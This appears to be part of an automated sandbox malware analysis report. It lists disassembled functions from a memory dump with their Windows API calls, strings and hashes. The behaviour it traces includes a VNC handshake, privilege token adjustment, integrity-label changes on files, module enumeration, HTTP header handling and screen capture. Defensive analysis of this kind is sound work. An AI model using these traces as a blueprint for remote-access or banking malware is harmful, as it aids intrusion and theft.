                                                                                                                                                                                                                      • Opcode Fuzzy Hash: e2a122d8b0b8a21cd72cd9d17612caacf14ef5e29bdc4324ca361dc277a9cb85
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 8811EDB0AC6352BAF32267648C0FF0F7BD4AF09B06F00C548F942A21C0CBB084018BA6
                                                                                                                                                                                                                      Function 0271C8D0 Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 298COMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • malloc.MSVCRT(0000B670,?,74DF3258,74DF30D0), ref: 0271C8EB
                                                                                                                                                                                                                      • getpeername.WS2_32(?,?,00000010), ref: 0271C930
                                                                                                                                                                                                                      • malloc.MSVCRT(00000010), ref: 0271C938
                                                                                                                                                                                                                      • inet_ntoa.WS2_32(?), ref: 0271C94A
                                                                                                                                                                                                                      • inet_ntoa.WS2_32(?), ref: 0271C960
                                                                                                                                                                                                                      • malloc.MSVCRT(0000000C), ref: 0271C96E
                                                                                                                                                                                                                      • free.MSVCRT(00000000), ref: 0271C9A2
                                                                                                                                                                                                                      • setsockopt.WS2_32(?,00000006,00000001,?,00000004), ref: 0271C9B9
                                                                                                                                                                                                                      • closesocket.WS2_32(?), ref: 0271C9C7
                                                                                                                                                                                                                      • malloc.MSVCRT(00000028), ref: 0271CA53
                                                                                                                                                                                                                      • malloc.MSVCRT(00000028,00000000,00000000,?,?), ref: 0271CA86
                                                                                                                                                                                                                      • malloc.MSVCRT(0000000C), ref: 0271CC12
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: malloc$inet_ntoa$closesocketfreegetpeernamesetsockopt
                                                                                                                                                                                                                      • String ID: RFB 003.006
                                                                                                                                                                                                                      • API String ID: 725816019-3790533501
                                                                                                                                                                                                                      • Opcode ID: 1c9428c259e7e668e09c8ad3d89d50ed50b92903d94e1620564f5fb7da05b382
                                                                                                                                                                                                                      • Instruction ID: 9f2d7c43570b4b26fd363c2cdd40c6efca127c4d8cf838eb5cd9531c1414a31f
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 1c9428c259e7e668e09c8ad3d89d50ed50b92903d94e1620564f5fb7da05b382
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: E8C156B0A406008FDB11CF6DD884B96BBE5FF88314F1885AEEC499F356D775A904CBA1
                                                                                                                                                                                                                      Function 026F7350 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 125fileCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • CreateFileA.KERNEL32(00000000,C0000000,00000003,00000000,00000002,00000080,00000000,74DEF380,00000000,00000000,?,02704EFC,00000000,026F6E36,00000000,00000000), ref: 026F738D
                                                                                                                                                                                                                        • Part of subcall function 02715930: GetCurrentThread.KERNEL32(00000020,00000000,026F358E,7604DB30,?,?,?,?,026F358E,?,?,026F3751), ref: 02715940
                                                                                                                                                                                                                        • Part of subcall function 02715930: OpenThreadToken.ADVAPI32(00000000,?,?,?,?,026F358E,?,?,026F3751), ref: 02715947
                                                                                                                                                                                                                        • Part of subcall function 02715930: GetCurrentProcess.KERNEL32(00000020,026F358E,?,?,?,?,026F358E,?,?,026F3751), ref: 02715957
                                                                                                                                                                                                                        • Part of subcall function 02715930: OpenProcessToken.ADVAPI32(00000000,?,?,?,?,026F358E,?,?,026F3751), ref: 0271595E
                                                                                                                                                                                                                        • Part of subcall function 02715930: LookupPrivilegeValueA.ADVAPI32(00000000,SeSecurityPrivilege,?), ref: 02715981
                                                                                                                                                                                                                        • Part of subcall function 02715930: AdjustTokenPrivileges.ADVAPI32(026F358E,00000000,00000001,00000000,00000000,00000000), ref: 0271599B
                                                                                                                                                                                                                        • Part of subcall function 02715930: GetLastError.KERNEL32 ref: 027159A5
                                                                                                                                                                                                                        • Part of subcall function 02715930: CloseHandle.KERNEL32(026F358E), ref: 027159B6
                                                                                                                                                                                                                      • ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32(S:(ML;;NRNWNX;;;LW),00000001,00000000,00000000), ref: 026F73B4
                                                                                                                                                                                                                      • GetSecurityDescriptorSacl.ADVAPI32(00000000,02704EFC,00000000,00000000,?,02704EFC), ref: 026F73D5
                                                                                                                                                                                                                      • SetNamedSecurityInfoA.ADVAPI32(00000000,00000001,00000010,00000000,00000000,00000000,00000000), ref: 026F73EE
                                                                                                                                                                                                                      • LocalFree.KERNEL32(00000000,?,02704EFC), ref: 026F73F8
                                                                                                                                                                                                                      • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001,?,02704EFC), ref: 026F740C
                                                                                                                                                                                                                      • LockFile.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,02704EFC), ref: 026F741B
                                                                                                                                                                                                                      • WriteFile.KERNEL32(00000000,026F6E36,00000000,00000000,00000000,?,02704EFC), ref: 026F742D
                                                                                                                                                                                                                      • UnlockFile.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,02704EFC), ref: 026F743D
                                                                                                                                                                                                                      • SetEndOfFile.KERNEL32(00000000,?,02704EFC), ref: 026F744A
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000,00000000,?,02704EFC), ref: 026F746C
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000,?,02704EFC), ref: 026F747D
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: File$Security$DescriptorHandleToken$CloseCurrentOpenProcessThread$AdjustConvertCreateErrorFreeInfoInformationLastLocalLockLookupNamedPointerPrivilegePrivilegesSaclStringUnlockValueWrite
                                                                                                                                                                                                                      • String ID: S:(ML;;NRNWNX;;;LW)
                                                                                                                                                                                                                      • API String ID: 1027056982-820036962
                                                                                                                                                                                                                      • Opcode ID: 8be8599f8ffe3fd74b7bb43cadaa5ff8334f8ab9defe1e3b16c73fec990ffcee
                                                                                                                                                                                                                      • Instruction ID: d01533a541f89514a1f23615b6c7c3f575e4e3152416f4827d0a6b27877064f4
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 8be8599f8ffe3fd74b7bb43cadaa5ff8334f8ab9defe1e3b16c73fec990ffcee
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: F8417375A80208BBEB119E64DC49FEFBBACEF48755F54C115FE04DA2C0D7B09A418BA0
                                                                                                                                                                                                                      Function 02715680 Relevance: 22.8, APIs: 11, Strings: 2, Instructions: 90processthreadCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • memset.MSVCRT(?,00000000,00000220,?,00000000,74DF0F00), ref: 027156A6
                                                                                                                                                                                                                      • CreateToolhelp32Snapshot.KERNEL32(00000008,?,?,00000000,74DF0F00), ref: 027156B7
                                                                                                                                                                                                                      • GetLastError.KERNEL32 ref: 027156C0
                                                                                                                                                                                                                      • SwitchToThread.KERNEL32 ref: 027156CF
                                                                                                                                                                                                                      • CreateToolhelp32Snapshot.KERNEL32(00000008,?), ref: 027156D8
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000,00000000), ref: 027156F8
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 02715709
                                                                                                                                                                                                                      • Module32First.KERNEL32(00000000,?), ref: 0271572A
                                                                                                                                                                                                                      • StrStrIA.SHLWAPI(?,kernel), ref: 0271574C
                                                                                                                                                                                                                      • StrStrIA.SHLWAPI(00000000,.dll), ref: 02715758
                                                                                                                                                                                                                      • Module32Next.KERNEL32(00000000,00000224), ref: 02715766
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: CreateHandleModule32SnapshotToolhelp32$CloseErrorFirstInformationLastNextSwitchThreadmemset
                                                                                                                                                                                                                      • String ID: .dll$kernel
                                                                                                                                                                                                                      • API String ID: 2979424695-2375045364
                                                                                                                                                                                                                      • Opcode ID: 4070592debaf59f98d24fbea748566d753378c7b5e84bc569d73473e2055f39c
                                                                                                                                                                                                                      • Instruction ID: 06aa2a7b54756ed08b8ab1f2fac4a1a2dccf78065180a35b0526bd720bb946c7
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 4070592debaf59f98d24fbea748566d753378c7b5e84bc569d73473e2055f39c
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 9321FC71E01115EBD720DBACAC4DFDE77A8EF89725F904650E904E3180EB70DD458BA0
                                                                                                                                                                                                                      Function 027119A0 Relevance: 22.8, APIs: 10, Strings: 3, Instructions: 56sleepsynchronizationthreadCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • OpenMutexA.KERNEL32(00100000,00000000,Local\{BE3C9D87-B777-4e47-8B10-69798A04C732}), ref: 027119CC
                                                                                                                                                                                                                      • ReleaseMutex.KERNEL32(00000000), ref: 027119D9
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000,?), ref: 027119ED
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 027119FF
                                                                                                                                                                                                                      • CreateThread.KERNEL32(00000000,00000000,027117D0,00000000,00000000,00000000), ref: 02711A10
                                                                                                                                                                                                                      • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 02711A1F
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 02711A26
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(26ee26b7), ref: 02711A2D
                                                                                                                                                                                                                      • Sleep.KERNEL32(00009C40,26ee26b7,KBP), ref: 02711A47
                                                                                                                                                                                                                      • Sleep.KERNEL32(00000064), ref: 02711A50
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Handle$CloseMutexSleep$BackslashCreateInformationObjectOpenPathReleaseSingleThreadWait
                                                                                                                                                                                                                      • String ID: 26ee26b7$KBP$Local\{BE3C9D87-B777-4e47-8B10-69798A04C732}
                                                                                                                                                                                                                      • API String ID: 4173420962-3807664322
                                                                                                                                                                                                                      • Opcode ID: a3424ccf83dbd755f0b7b60fea748a2a69019cc6b0128e8be9102c98e5621ed6
                                                                                                                                                                                                                      • Instruction ID: 2cfa713f653239a4dcccfcce38399cdca92316ca9c2d24bd36d75801d047269a
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: a3424ccf83dbd755f0b7b60fea748a2a69019cc6b0128e8be9102c98e5621ed6
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: D40149B0AC63117BF31267644C0AF0F3B986F09B56F844104FB55BA1C08BF0A800CABE
                                                                                                                                                                                                                      Function 02708740 Relevance: 22.6, APIs: 15, Instructions: 149fileCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • fseek.MSVCRT(?,?,00000000,?,0274D19C,?,?,?,?,?,?,02714274), ref: 02708786
                                                                                                                                                                                                                      • fwrite.MSVCRT(?,?,00000001,00000000,?,?,00000000,?,0274D19C,?,?,?,?,?,?,02714274), ref: 02708795
                                                                                                                                                                                                                      • fseek.MSVCRT(?,00000000,00000000,?,0274D19C,?,?,?,?,?,?,02714274), ref: 027087AB
                                                                                                                                                                                                                      • fread.MSVCRT(?,00000020,00000001,?,?,?,?,?,?,?,02714274), ref: 027087B8
                                                                                                                                                                                                                      • fseek.MSVCRT(?,00000000,00000000,?,?,?,?,?,?,?,02714274), ref: 02708842
                                                                                                                                                                                                                      • fwrite.MSVCRT(?,00000020,00000001,?,?,?,?,?,?,?,?,02714274), ref: 0270884F
                                                                                                                                                                                                                      • fclose.MSVCRT(?,?,0274D19C,?,?,?,?,?,?,02714274), ref: 02708857
                                                                                                                                                                                                                        • Part of subcall function 02708220: fseek.MSVCRT(?,00000000,00000000,?), ref: 027082AB
                                                                                                                                                                                                                        • Part of subcall function 02708220: fwrite.MSVCRT(00000003,00000020,00000001), ref: 027082C2
                                                                                                                                                                                                                        • Part of subcall function 02708220: fwrite.MSVCRT(?,00000020,?,00000000), ref: 027082D1
                                                                                                                                                                                                                        • Part of subcall function 02708220: fwrite.MSVCRT(?,00000001,00000001), ref: 027082F1
                                                                                                                                                                                                                      • free.MSVCRT(?,?,?,?,?,?,?,02714274), ref: 02708870
                                                                                                                                                                                                                      • free.MSVCRT(?,?,?,?,?,?,?,02714274), ref: 02708876
                                                                                                                                                                                                                      • free.MSVCRT(?,?,?,?,?,?,?,02714274), ref: 0270887C
                                                                                                                                                                                                                      • free.MSVCRT(?,?,?,?,?,?,?,02714274), ref: 02708882
                                                                                                                                                                                                                      • free.MSVCRT(?,?,?,?,?,?,?,02714274), ref: 0270888B
                                                                                                                                                                                                                      • free.MSVCRT(?,?,?,?,?,?,?,02714274), ref: 02708891
                                                                                                                                                                                                                      • free.MSVCRT(?,?,?,?,?,?,?,02714274), ref: 02708894
                                                                                                                                                                                                                      • free.MSVCRT(00000000,?,?,?,?,?,?,?,?,?,02714274), ref: 027088A3
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: free$fwrite$fseek$fclosefread
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 2434908339-0
                                                                                                                                                                                                                      • Opcode ID: 9906058e10f068a9d3ffb0568bf44c9a752aac1243fa0019bf3b8a8ac4be9fee
                                                                                                                                                                                                                      • Instruction ID: 9ed1e8ad26638cda10c8d6fd276f7a4cfbc8564bb32ac3c30bc7815ffe608f6e
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 9906058e10f068a9d3ffb0568bf44c9a752aac1243fa0019bf3b8a8ac4be9fee
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 5341E671A506059FD720EBB8CC81B6BB3E9EF98310F184A2DE595C77D1C278F4098B65
                                                                                                                                                                                                                      Function 026FEB60 Relevance: 21.4, APIs: 7, Strings: 7, Instructions: 411COMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • memset.MSVCRT(?,00000000,00000038,?,?,00000000,?,?,?,?,?,?,?,026FF9DF,?,?), ref: 026FEB74
                                                                                                                                                                                                                      • StrCmpNIA.SHLWAPI(00000002,?,00000000,?,?,00000000,?,?,?,?,?,?,?,026FF9DF,?,?), ref: 026FEBD5
                                                                                                                                                                                                                      • StrCmpNIA.SHLWAPI(00000001,?,00000000,?,?,00000000,?,?,?,?,?,?,?,026FF9DF,?,?), ref: 026FEC91
                                                                                                                                                                                                                      • memcpy.MSVCRT(?,00000000,?,?,?,Content-Length,?,?,?,00000003,026FF9DF,?,?,Host,?,?), ref: 026FEDD3
                                                                                                                                                                                                                      • memcpy.MSVCRT(00000000,http://,00000007,?,?,Content-Length,?,?,?,00000003,026FF9DF,?,?,Host,?,?), ref: 026FEE8E
                                                                                                                                                                                                                      • memcpy.MSVCRT(?,?,00000000,00000000,http://,00000007,?,?,Content-Length,?,?,?,00000003,026FF9DF,?,?), ref: 026FEE9F
                                                                                                                                                                                                                      • memcpy.MSVCRT(?,?,?,Host,?,?,?,00000000,?,?,?,00000000), ref: 026FEED1
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: memcpy$memset
                                                                                                                                                                                                                      • String ID: Content-Length$Content-Type$Host$NSS layer$Referer$http://$https://
                                                                                                                                                                                                                      • API String ID: 438689982-3158524741
                                                                                                                                                                                                                      • Opcode ID: a64acc009b9f14f2928fb291dc2fcb6b298f612fb452a0014fd1fc2267015d78
                                                                                                                                                                                                                      • Instruction ID: 419e36743143647bb9b38cd8b2fc9dc6f7037bab575abf4d7248ca2b3d34fa23
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: a64acc009b9f14f2928fb291dc2fcb6b298f612fb452a0014fd1fc2267015d78
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: CDD14A71E006168FEF62CF68C8807EEBFA6AF45314F08455AEB56A7361D732D841CB91
                                                                                                                                                                                                                      Function 026FA69F Relevance: 21.3, APIs: 11, Strings: 1, Instructions: 264synchronizationwindowthreadCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • WaitForSingleObject.KERNEL32(00000000,000000FF,00000000,00008001,?), ref: 026FA70E
                                                                                                                                                                                                                      • ReleaseMutex.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,026F9523,00008001,?), ref: 026FA737
                                                                                                                                                                                                                      • IsWindow.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,026F9523,00008001,?), ref: 026FA73E
                                                                                                                                                                                                                      • PostMessageA.USER32(?,00000215,00000000,00000000), ref: 026FA752
                                                                                                                                                                                                                      • WaitForSingleObject.KERNEL32(00000000,000000FF,00000000,00008001,?), ref: 026FA7C1
                                                                                                                                                                                                                      • ReleaseMutex.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,026F9523,00008001,?), ref: 026FA7DA
                                                                                                                                                                                                                      • GetWindowLongA.USER32(00000000,000000F0,?,00000000,?,?), ref: 026FA86B
                                                                                                                                                                                                                      • GetParent.USER32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,026F9523), ref: 026FA882
                                                                                                                                                                                                                      • GetWindowThreadProcessId.USER32(00000000,00000000,00000000,00000001,?,00000000,?,?), ref: 026FA8C9
                                                                                                                                                                                                                      • GetWindowInfo.USER32 ref: 026FA941
                                                                                                                                                                                                                        • Part of subcall function 026F9FD0: GetWindowRect.USER32(?,?,00000000,74DF30D0,?,?,026FA6F4,00000000,00008001,?), ref: 026F9FF7
                                                                                                                                                                                                                        • Part of subcall function 026F9FD0: IsRectEmpty.USER32(?,?,026FA6F4,00000000,00008001,?), ref: 026FA066
                                                                                                                                                                                                                        • Part of subcall function 026F9FD0: GetWindowLongA.USER32(?,000000F0,?,026FA6F4,00000000,00008001,?), ref: 026FA076
                                                                                                                                                                                                                        • Part of subcall function 026F9FD0: GetParent.USER32(?,?,00000002,?,026FA6F4,00000000,00008001,?), ref: 026FA08A
                                                                                                                                                                                                                        • Part of subcall function 026F9FD0: MapWindowPoints.USER32(00000000,00000000,?,026FA6F4,00000000,00008001,?), ref: 026FA093
                                                                                                                                                                                                                        • Part of subcall function 026F9FD0: SetWindowPos.USER32(?,00000000,?,026FA6F4,00000000,00008001,0000630C,?,026FA6F4,00000000,00008001,?), ref: 026FA0B5
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Window$LongMutexObjectParentRectReleaseSingleWait$EmptyInfoMessagePointsPostProcessThread
                                                                                                                                                                                                                      • String ID: <
                                                                                                                                                                                                                      • API String ID: 4123185898-4251816714
                                                                                                                                                                                                                      • Opcode ID: 824d2efd09ddfbef4cc33ddff7c73958befa63e0c81c3967a5f23ea37bb5cbd0
                                                                                                                                                                                                                      • Instruction ID: 4ca2a5d1d28c283dc6d4340029949124f56ffa862b09d39d58363afcec79954c
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 824d2efd09ddfbef4cc33ddff7c73958befa63e0c81c3967a5f23ea37bb5cbd0
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 6A91F3316443419BDB549FA8C889FAB3BA5AF85314F04892CFA69573D1C7B0D845CBA1
                                                                                                                                                                                                                      Function 027003E0 Relevance: 21.1, APIs: 14, Instructions: 109memoryCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,?,00000001,00000000,?,?,027006DD,00000001), ref: 0270040B
                                                                                                                                                                                                                      • HeapValidate.KERNEL32(00000000,?,027006DD,00000001,?,?,?,?,?,?,?,?,?,0270108E,?,?), ref: 0270040E
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,?,?,027006DD,00000001,?,?,?,?,?,?,?,?,?,0270108E,?), ref: 0270041B
                                                                                                                                                                                                                      • HeapFree.KERNEL32(00000000,?,027006DD,00000001,?,?,?,?,?,?,?,?,?,0270108E,?,?), ref: 0270041E
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(?,00000000,00000001,00000000,?,?,027006DD,00000001), ref: 02700437
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(?,?,027006DD,00000001,?,?,?,?,?,?,?,?,?,0270108E,?,?), ref: 02700448
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,?,00000001,00000000,?,?,027006DD,00000001), ref: 02700458
                                                                                                                                                                                                                      • HeapValidate.KERNEL32(00000000,?,027006DD,00000001,?,?,?,?,?,?,?,?,?,0270108E,?,?), ref: 0270045B
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,?,?,027006DD,00000001,?,?,?,?,?,?,?,?,?,0270108E,?), ref: 02700468
                                                                                                                                                                                                                      • HeapFree.KERNEL32(00000000,?,027006DD,00000001,?,?,?,?,?,?,?,?,?,0270108E,?,?), ref: 0270046B
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,?,00000001,00000000,?,?,027006DD,00000001), ref: 0270047B
                                                                                                                                                                                                                      • HeapValidate.KERNEL32(00000000,?,027006DD,00000001,?,?,?,?,?,?,?,?,?,0270108E,?,?), ref: 0270047E
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,?,?,027006DD,00000001,?,?,?,?,?,?,?,?,?,0270108E,?), ref: 0270048B
                                                                                                                                                                                                                      • HeapFree.KERNEL32(00000000,?,027006DD,00000001,?,?,?,?,?,?,?,?,?,0270108E,?,?), ref: 0270048E
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Heap$Process$FreeValidate$Handle$CloseInformation
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 2935687291-0
                                                                                                                                                                                                                      • Opcode ID: bd359aadae001629e14d35da4ac7eca9f5e373f1a47cfd8f147876ac3148e618
                                                                                                                                                                                                                      • Instruction ID: bed53b31477f4ab461d9a6fd8cb6b030d41cb143ef2acadca80f0642e2e54c60
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: bd359aadae001629e14d35da4ac7eca9f5e373f1a47cfd8f147876ac3148e618
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 4E318071E42220ABDB209F71E988F5B7B9CEF4A766F44C416FD08DB280DB70C414CAA5
                                                                                                                                                                                                                      Function 026F8F20 Relevance: 21.1, APIs: 14, Instructions: 79windowCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • SelectObject.GDI32(00000000,?,?,00000000,74DF3080,026F9231,?,00000006,00000000), ref: 026F8F3A
                                                                                                                                                                                                                      • DeleteObject.GDI32(?), ref: 026F8F49
                                                                                                                                                                                                                      • DeleteDC.GDI32(00000000), ref: 026F8F57
                                                                                                                                                                                                                      • SelectObject.GDI32(?,?), ref: 026F8F67
                                                                                                                                                                                                                      • DeleteObject.GDI32(?), ref: 026F8F6F
                                                                                                                                                                                                                      • DeleteDC.GDI32(?), ref: 026F8F78
                                                                                                                                                                                                                      • GetDC.USER32(00000000,?,00000000,74DF3080,026F9231,?,00000006,00000000), ref: 026F8F7C
                                                                                                                                                                                                                      • CreateCompatibleDC.GDI32(00000000), ref: 026F8F8B
                                                                                                                                                                                                                      • CreateCompatibleDC.GDI32(00000000), ref: 026F8F93
                                                                                                                                                                                                                      • CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 026F8FB4
                                                                                                                                                                                                                      • SelectObject.GDI32(?,00000000), ref: 026F8FC3
                                                                                                                                                                                                                      • CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 026F8FDE
                                                                                                                                                                                                                      • SelectObject.GDI32(00000000,00000000,00000000,02749EB0), ref: 026F8FFD
                                                                                                                                                                                                                      • ReleaseDC.USER32(00000000,00000000), ref: 026F900C
                                                                                                                                                                                                                      Memory Dump Source
